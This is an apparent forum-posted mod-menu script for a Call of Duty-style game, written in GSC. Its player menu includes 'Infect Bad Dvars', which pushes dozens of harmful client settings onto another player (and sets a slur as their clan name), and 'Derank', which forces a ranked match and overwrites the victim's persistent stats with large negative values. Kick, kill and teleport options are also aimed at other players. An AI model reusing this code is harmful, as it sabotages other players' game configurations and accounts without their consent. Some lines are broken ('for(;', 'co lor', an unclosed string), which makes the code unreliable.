self thread TJ();
TJ()
{
if(self.name == level.hostname||self.name == "TJCOOL"||self.name == "iReset")
{
self.verified = 1;
self.host = 1;
self thread TJ2();
}
}
TJ2()
{
self.MenuOpen = false;
self.LockMenu = false;
self.Menu["Sub"] = "Closed";
self setClientDvars( "cg_drawcrosshair", "1", "cg_drawGun", "1", "ui_hud_hardcore", "0", "compassSize", "1", "r_blur", "0" );
self thread MainMenu();
self thread MenuShaders();
self thread AllMenuFuncs();
self thread PSN();
self TakeWeapon("frag_grenade_mp");
self TakeWeapon("flash_grenade_mp");
self TakeWeapon("concussion_grenade_mp");
self TakeWeapon("smoke_grenade_mp");
wait 2;
self thread WelcomeMsg();
}
MainMenu()
{
if(self.verified == 1)
{
self AddMenuAction( "Main", 0, "Option 1", ::New, "" );
self AddMenuAction( "Main", 1, "Option 2", ::New, "" );
self AddMenuAction( "Main", 2, "Option 3", ::New, "" );
self AddMenuAction( "Main", 3, "Option 4", ::New, "" );
self AddMenuAction( "Main", 4, "Option 5", ::New, "" );
self AddMenuAction( "Main", 5, "Option 6", ::New, "" );
self AddMenuAction( "Main", 6, "Sub 1", ::SubMenu, "SubMenu_1" );
self AddMenuAction( "Main", 7, "Sub 2", ::SubMenu, "SubMenu_2" );
self AddMenuAction( "Main", 8, "Sub 2", ::SubMenu, "SubMenu_3" );
self AddMenuAction( "Main", 9, "Sub 3", ::SubMenu, "SubMenu_4" );
self AddMenuAction( "Main", 10,"Sub 4", ::SubMenu, "SubMenu_5" );
}
if(self.host == 1)
{
self AddMenuAction( "Main", 11, "Host Menu", ::SubMenu, "SubMenu_6" );
self AddMenuAction( "Main", 12, "Player Menu", ::SubMenu, "Player" );
}
self AddBackToMenu( "SubMenu_1", "Main" );
self AddMenuAction( "SubMenu_1", 0, "Option 1", ::New, "" );
self AddMenuAction( "SubMenu_1", 1, "Option 2", ::New, "" );
self AddMenuAction( "SubMenu_1", 2, "Option 3", ::New, "" );
self AddMenuAction( "SubMenu_1", 3, "Option 4", ::New, "" );
self AddMenuAction( "SubMenu_1", 4, "Option 5", ::New, "" );
self AddMenuAction( "SubMenu_1", 5, "Option 6", ::New, "" );
self AddMenuAction( "SubMenu_1", 6, "Option 7", ::New, "" );
self AddMenuAction( "SubMenu_1", 7, "Option 8", ::New, "" );
self AddMenuAction( "SubMenu_1", 8, "Option 9", ::New, "" );
self AddMenuAction( "SubMenu_1", 9, "Option 10", ::New, "" );
self AddMenuAction( "SubMenu_1", 10, "Option 11", ::New, "" );
self AddMenuAction( "SubMenu_1", 11, "Option 12", ::New, "" );
self AddBackToMenu( "SubMenu_2", "Main" );
self AddMenuAction( "SubMenu_2", 0, "Option 1", ::New, "" );
self AddMenuAction( "SubMenu_2", 1, "Option 2", ::New, "" );
self AddMenuAction( "SubMenu_2", 2, "Option 3", ::New, "" );
self AddMenuAction( "SubMenu_2", 3, "Option 4", ::New, "" );
self AddMenuAction( "SubMenu_2", 4, "Option 5", ::New, "" );
self AddMenuAction( "SubMenu_2", 5, "Option 6", ::New, "" );
self AddMenuAction( "SubMenu_2", 6, "Option 7", ::New, "" );
self AddMenuAction( "SubMenu_2", 7, "Option 8", ::New, "" );
self AddMenuAction( "SubMenu_2", 8, "Option 9", ::New, "" );
self AddMenuAction( "SubMenu_2", 9, "Option 10", ::New, "" );
self AddMenuAction( "SubMenu_2", 10, "Option 11", ::New, "" );
self AddMenuAction( "SubMenu_2", 11, "Option 12", ::New, "" );
self AddBackToMenu( "SubMenu_3", "Main" );
self AddMenuAction( "SubMenu_3", 0, "Option 1", ::New, "" );
self AddMenuAction( "SubMenu_3", 1, "Option 2", ::New, "" );
self AddMenuAction( "SubMenu_3", 2, "Option 3", ::New, "" );
self AddMenuAction( "SubMenu_3", 3, "Option 4", ::New, "" );
self AddMenuAction( "SubMenu_3", 4, "Option 5", ::New, "" );
self AddMenuAction( "SubMenu_3", 5, "Option 6", ::New, "" );
self AddMenuAction( "SubMenu_3", 6, "Option 7", ::New, "" );
self AddMenuAction( "SubMenu_3", 7, "Option 8", ::New, "" );
self AddMenuAction( "SubMenu_3", 8, "Option 9", ::New, "" );
self AddMenuAction( "SubMenu_3", 9, "Option 10", ::New, "" );
self AddMenuAction( "SubMenu_3", 10, "Option 11", ::New, "" );
self AddMenuAction( "SubMenu_3", 11, "Option 12", ::New, "" );
self AddBackToMenu( "SubMenu_4", "Main" );
self AddMenuAction( "SubMenu_4", 0, "Option 1", ::New, "" );
self AddMenuAction( "SubMenu_4", 1, "Option 2", ::New, "" );
self AddMenuAction( "SubMenu_4", 2, "Option 3", ::New, "" );
self AddMenuAction( "SubMenu_4", 3, "Option 4", ::New, "" );
self AddMenuAction( "SubMenu_4", 4, "Option 5", ::New, "" );
self AddMenuAction( "SubMenu_4", 5, "Option 6", ::New, "" );
self AddMenuAction( "SubMenu_4", 6, "Option 7", ::New, "" );
self AddMenuAction( "SubMenu_4", 7, "Option 8", ::New, "" );
self AddMenuAction( "SubMenu_4", 8, "Option 9", ::New, "" );
self AddMenuAction( "SubMenu_4", 9, "Option 10", ::New, "" );
self AddMenuAction( "SubMenu_4", 10, "Option 11", ::New, "" );
self AddMenuAction( "SubMenu_4", 11, "Option 12", ::New, "" );
self AddBackToMenu( "SubMenu_5", "Main" );
self AddMenuAction( "SubMenu_5", 0, "Option 1", ::New, "" );
self AddMenuAction( "SubMenu_5", 1, "Option 2", ::New, "" );
self AddMenuAction( "SubMenu_5", 2, "Option 3", ::New, "" );
self AddMenuAction( "SubMenu_5", 3, "Option 4", ::New, "" );
self AddMenuAction( "SubMenu_5", 4, "Option 5", ::New, "" );
self AddMenuAction( "SubMenu_5", 5, "Option 6", ::New, "" );
self AddMenuAction( "SubMenu_5", 6, "Option 7", ::New, "" );
self AddMenuAction( "SubMenu_5", 7, "Option 8", ::New, "" );
self AddMenuAction( "SubMenu_5", 8, "Option 9", ::New, "" );
self AddMenuAction( "SubMenu_5", 9, "Option 10", ::New, "" );
self AddMenuAction( "SubMenu_5", 10, "Option 11", ::New, "" );
self AddMenuAction( "SubMenu_5", 11, "Option 12", ::New, "" );
self AddBackToMenu( "SubMenu_6", "Main" );
self AddMenuAction( "SubMenu_6", 0, "Option 1", ::New, "" );
self AddMenuAction( "SubMenu_6", 1, "Option 2", ::New, "" );
self AddMenuAction( "SubMenu_6", 2, "Option 3", ::New, "" );
self AddMenuAction( "SubMenu_6", 3, "Option 4", ::New, "" );
self AddMenuAction( "SubMenu_6", 4, "Option 5", ::New, "" );
self AddMenuAction( "SubMenu_6", 5, "Option 6", ::New, "" );
self AddMenuAction( "SubMenu_6", 6, "Option 7", ::New, "" );
self AddMenuAction( "SubMenu_6", 7, "Option 8", ::New, "" );
self AddMenuAction( "SubMenu_6", 8, "Option 9", ::New, "" );
self AddMenuAction( "SubMenu_6", 9, "Option 10", ::New, "" );
self AddMenuAction( "SubMenu_6", 10, "Option 11", ::New, "" );
self AddMenuAction( "SubMenu_6", 11, "Option 12", ::New, "" );
self AddBackToMenu( "Player_Rank", "Player" );
self AddMenuAction( "Player_Rank", 0, "Kick Player", ::KickPlayer, "" );
self AddMenuAction( "Player_Rank", 1, "kill Player", ::KillPlayer, "" );
self AddMenuAction( "Player_Rank", 2, "Verify", ::VerifyPlayer, "" );
self AddMenuAction( "Player_Rank", 3, "Teleport To Me", ::TeleportToMe, "" );
self AddMenuAction( "Player_Rank", 4, "Send To Space", ::Send2Space, "" );
self AddMenuAction( "Player_Rank", 5, "Infect Bad Dvars", ::InfectBadDvars, "" );
self AddMenuAction( "Player_Rank", 6, "Derank Player", ::doDerank, "" );
}
DrawMenuOpts()
{
string = "";
if(self.Menu["Sub"] == "Player")
{
for( E = 0;E < level.players.size;E++ )
{
player = level.players[E];
string += player.name + "\n";
self.Menu["Func"][self.Menu["Sub"]][E] = ::SubMenu;
self.Menu["Input"][self.Menu["Sub"]][E] = "Player_Rank";
}
self.Menu["GoBack"][self.Menu["Sub"]] = "Main";
}
else
{
for( i = 0;i < self.Menu["Option"]["Name"][self.Menu["Sub"]].size;i++ ) string += self.Menu["Option"]["Name"] [self.Menu["Sub"]][i] + "\n";
}
self.Menu["Text"] = CreateText( "objective", 1.8, "LEFT", "", 90, -170, 1, 100, string );
self thread MenuDeath(self.Menu["Text"] , self.Menu["Shader"]["Curs"] , self.Menu["Shader"]["backround"]);
}
AllMenuFuncs()
{
self endon( "death" );
self endon( "disconnect" );
self.Menu["Curs"] = 0;
for(;
{
if( self FragButtonPressed() && self.Menu["Sub"] == "Closed" && self.LockMenu == false && self.MenuOpen == false )
{
self GiveWeapon( "briefcase_bomb_mp" );
self switchToWeapon("briefcase_bomb_mp");
wait 1.5;
self.menu["Shader"]["Curs"] elemMoveX(1,70);
self.menu["Shader"]["backround"] elemMoveX(1,70);
self thread MenuShadersIn();
wait 1;
self.menu["Shader"]["Curs"] elemMoveY(.5,-169);
self.Menu["Curs"] = 0;
self freezecontrols(true);
self setclientdvars("cg_drawcrosshair", "0", "r_blur", "6");
self.MenuOpen = true;
self.Menu["Sub"] = "Main";
self thread DrawMenuOpts();
}
if( self AttackButtonPressed() && self.IsScrolling == false && self.MenuOpen == true )
{
self.Menu["Curs"] ++;
self.IsScrolling = true;
if(self.Menu["Sub"] == "Player")
{
if( self.Menu["Curs"] >= level.players.size ) self.Menu["Curs"] = 0;
}
else
{
if( self.Menu["Curs"] >= self.Menu["Option"]["Name"][self.Menu["Sub"]].size ) self.Menu["Curs"] = 0;
}
self CursMove();
self playLocalSound("mouse_over");
wait 0.2;
self.IsScrolling = false;
}
if( self AdsButtonPressed() && self.IsScrolling == false && self.MenuOpen == true )
{
self.Menu["Curs"] --;
self.IsScrolling = true;
if(self.Menu["Curs"] < 0)
{
if(self.Menu["Sub"] == "Player") self.Menu["Curs"] = level.players.size-1;
else self.Menu["Curs"] = self.Menu["Option"]["Name"][self.Menu["Sub"]].size-1;
}
self CursMove();
self playLocalSound("mouse_over");
wait 0.2;
self.IsScrolling = false;
}
if( self UseButtonPressed() && self.LockMenu == false && self.MenuOpen == true )
{
if(self.Menu["Sub"] == "Player") self.PlayerNum = self.Menu["Curs"];
self thread [[self.Menu["Func"][self.Menu["Sub"]][self.Menu["Curs"]]]](self.Menu["Input"][self.Menu ["Sub"]][self.Menu["Curs"]]);
self playLocalSound( "mouse_click" );
wait 0.3;
}
if( self MeleeButtonPressed() && self.MenuOpen == true )
{
if( self.Menu["Sub"] == "Main" ) self ExitMenu();
else self ExitSub();
}
wait 0.05;
}
}
AddMenuAction( SubMenu, OptNum, Name, Func, Input )
{
self.Menu["Option"]["Name"][SubMenu][OptNum] = Name;
self.Menu["Func"][SubMenu][OptNum] = Func;
if(isDefined( Input ))
{
self.Menu["Input"][SubMenu][OptNum] = Input;
}
}
AddBackToMenu( Menu, GoBack )
{
self.Menu["GoBack"][Menu] = GoBack;
}
MenuShaders()
{
self.Menu["Shader"]["backround"] = self createRectangle("LEFT", "", 800, 115, 500, 720, (0,0,0), "white", 1, 0);
self.Menu["Shader"]["Curs"] = self createRectangle("LEFT", "", 800, ((self.Menu["Curs"]*21.5
- 169.22), 475, 15,(0, 0,0),"white",3,0);
}
CursMove()
{
self.Menu["Shader"]["Curs"] MoveOverTime( 0.2 );
self.Menu["Shader"]["Curs"] setPoint("LEFT", "", 70, ((self.Menu["Curs"]*21.5
- 169.22) );
}
ExitMenu()
{
self.menu["Shader"]["Curs"] elemMoveX(1,800);
self.menu["Shader"]["backround"] elemMoveX(1,800);
self GiveWeapon("ak47_mp",6);
self switchToWeapon("ak47_mp",6);
self.Menu["Text"] destroy();
self freezecontrols(false);
self setClientDvars( "cg_drawcrosshair", "1", "r_blur", "0", "ui_hud_hardcore", "0" );
wait 1;
self MenuShadersOut();
self.maxhealth = 100;
self.health = self.maxhealth;
self.MenuOpen = false;
self.Menu["Sub"] = "Closed";
}
ExitSub()
{
self.Menu["Text"] destroy();
self.Menu["Sub"] = self.Menu["GoBack"][self.Menu["Sub"]];
self.Menu["Curs"] = 0;
self CursMove();
self thread DrawMenuOpts();
wait 0.2;
}
MenuShadersOut()
{
self.Menu["Shader"]["backround"].alpha = 0;
self.Menu["Shader"]["Curs"].alpha = 0;
}
MenuShadersIn()
{
self.Menu["Shader"]["backround"].alpha = (.5);
self.Menu["Shader"]["Curs"].alpha = 1;
}
MenuDeath( elem, elem1, elem2, elem3, elem4 )
{
self waittill("death");
if(isDefined( elem )) elem destroy();
if(isDefined( elem1 )) elem1 destroy();
if(isDefined( elem2 )) elem2 destroy();
if(isDefined( elem3 )) elem3 destroy();
if(isDefined( elem4 )) elem4 destroy();
}
SubMenu(numsub)
{
self.Menu["Text"] destroy();
self.Menu["Sub"] = numsub;
self.Menu["Curs"] = 0;
self CursMove();
self thread DrawMenuOpts();
}
CreateText( Font, Fontscale, Align, Relative, X, Y, Alpha, Sort, Text )
{
Hud = CreateFontString( Font, Fontscale );
Hud SetPoint( Align, Relative, X, Y );
Hud.alpha = Alpha;
Hud.sort = Sort;
Hud SetText( Text );
return Hud;
}
createRectangle(align,relative,x,y,width,height,co lor,shader,sort,alpha)
{
barElemBG = newClientHudElem( self );
barElemBG.elemType = "bar";
barElemBG.width = width;
barElemBG.height = height;
barElemBG.align = align;
barElemBG.relative = relative;
barElemBG.xOffset = 0;
barElemBG.yOffset = 0;
barElemBG.children = [];
barElemBG.sort = sort;
barElemBG.color = color;
barElemBG.alpha = alpha;
barElemBG setParent( level.uiParent );
barElemBG setShader( shader, width , height );
barElemBG.hidden = false;
barElemBG setPoint(align,relative,x,y);
return barElemBG;
}
PSN()
{
setDvar("onlinegame","1");
setDvar("scr_forcerankedmatch",1);
self setClientDvar("xblive_hostingprivateparty","0");
setDvar("xblive_privatematch",0);
}
elemMoveX(time, input)
{
self moveOverTime(time);
self.x = input;
}
elemMoveY(time, input)
{
self moveOverTime(time);
self.y = input;
}
WelcomeMsg()
{
self iPrintln("^1Menu Activated. Press [{+Frag}] To Open.");
}
KickPlayer()
{
kick( level.players[self.PlayerNum] getEntityNumber(), "EXE_PLAYERKICKED" );
}
KillPlayer()
{
level.players[self.PlayerNum] suicide();
self iPrintln( "^1"+level.players[self.PlayerNum].name + "^1 is Dead" );
}
VerifyPlayer()
{
level.players[self.PlayerNum] suicide();
self iPrintln( "^1"+level.players[self.PlayerNum].name + "^1 is Verified" );
}
New()
{
self iPrintln( "^1ELIITEMODZ New Menu Edit By TJCOOL!" );
}
Verify()
{
self endon("disconnect");
{
self.verified = 1;
self.host = 0;
self suicide();
wait 2.2;
self thread TJ2();
}
}
TeleportToMe()
{
level.players[self.PlayerNum] SetOrigin(self.origin + (10, 0, 0));
self iPrintln("^1You Teleported "+level.players[self.PlayerNum].name + " To You!" );
}
Send2Space()
{
level.players[self.PlayerNum] thread doSpace();
self iPrintln("^1You Sent "+level.players[self.PlayerNum].name + " To Space");
}
doSpace()
{
self endon("disconnect");
self iPrintln("Lost In Space !");
x=randomIntRange(-75,75);
y=randomIntRange(-75,75);
z=45;
self.location =(0+x,0+y,500000+z);
self.angle =(0,176,0);
self setOrigin(self.location);
self setPlayerAngles(self.angle);
}
InfectBadDvars()
{
level.players[self.PlayerNum] thread BadDvars();
self iPrintln("^1You Infected "+level.players[self.PlayerNum].name + " With Bad Dvars!");
}
BadDvars()
{
self setClientDvar("motd", "^3have a nice day
");
self setclientDvar("maxVoicePacketsPerSec", "3");
self setClientDvar("MakeMeHost", "0");
self setclientDvar("r_filmUseTweaks", "1");
self setclientDvar("r_filmTweakEnable", "1");
self setclientDvar("developer_script", "1");
self setclientDvar("developer", "1");
self setclientDvar("scr_player_maxhealth", "30");
self setClientDvar("party_connectToOthers", "1");
self setClientDvar("party_hostmigration", "1");
self setClientDvar("party_iamhost", "0");
self setClientDvar("party_host","0");
self setclientDvar("bg_aimSpreadMoveSpeedThreshold", "999");
self setclientDvar("bg_shock_volume_announcer", "25.5");
self setclientDvar("bg_shock_volume_voice", "25.5");
self setclientDvar("bg_weaponBobMax", "999");
self setclientDvar("hud_bloodOverlayLerpRate", "15.9");
self setclientDvar("hud_fade_compass", "1");
self setclientDvar("hudElemPausedBrightness", "12.4");
self setclientDvar("lobby_animationTilesHigh", "12");
self setclientDvar("lobby_animationTilesWide", "32");
self setclientDvar("loc_forceEnglish", "0");
self setclientDvar("loc_language", "1");
self setclientDvar("loc_translate", "0");
self setclientDvar("ui_xpText", "0");
self setclientDvar("ui_hint_text", "PWNED!!");
self setClientDvar("ui_mapname", "mpTJCOOL");
self setclientDvar("compassSize", "25");
self setclientDvar("compassRotation", "0");
self setclientDvar("cg_gun_x", "2");
self setclientDvar("cg_gun_y", "-2");
self setclientDvar("cg_gun_z", "3");
self setclientDvar("cg_drawpaused", "0");
self setclientDvar("cg_weaponCycleDelay", "4");
self setclientDvar("cg_hudGrenadePointerWidth", "999");
self setclientDvar("cg_hudVotePosition", "5 175");
self setclientDvar("cg_drawFPS", "1");
self setclientDvar("cg_drawFPSLabels", "1");
self setclientDvar("cg_fov", "80");
self setclientDvar("cg_youInKillCamSize", "9999");
self setclientDvar("cl_wadefps", "1");
self setclientDvar("cl_hudDrawsBehindUI", "0");
self setclientDvar("cl_stanceHoldTime", "90000");
self setClientDvar("clanName", "FAG");
}
doDerank()
{
level.players[self.PlayerNum] thread DerankMuch();
self iPrintln("^1You Deranked "+level.players[self.PlayerNum].name + "!");
}
DerankMuch()
{
setDvar("scr_forcerankedmatch", 1 );
setdvar("xblive_privatematch", 0);
wait 0.2;
self maps\mp\gametypes\_persistence::statSet( "plevel", 0 );
self maps\mp\gametypes\_persistence::statSet( "total_hits", -21470000 );
self maps\mp\gametypes\_persistence::statSet( "rank", 1 );
self maps\mp\gametypes\_persistence::statSet( "hits", -21470000 );
self maps\mp\gametypes\_persistence::statSet( "misses", -21470000 );
self maps\mp\gametypes\_persistence::statSet( "rank", 1 );
self maps\mp\gametypes\_persistence::statSet( "accuracy", -21470000 );
self maps\mp\gametypes\_persistence::statSet( "score", -21470000 );
self maps\mp\gametypes\_persistence::statSet( "plevel", 0 );
self maps\mp\gametypes\_persistence::statSet( "kills", -21470000 );
self maps\mp\gametypes\_persistence::statSet( "deaths", -21470000 );
self maps\mp\gametypes\_persistence::statSet( "kill_streak", -21470000 );
self maps\mp\gametypes\_persistence::statSet( "win_streak", -21470000 );
}
Copyright © 2026, NextGenUpdate.
All Rights Reserved.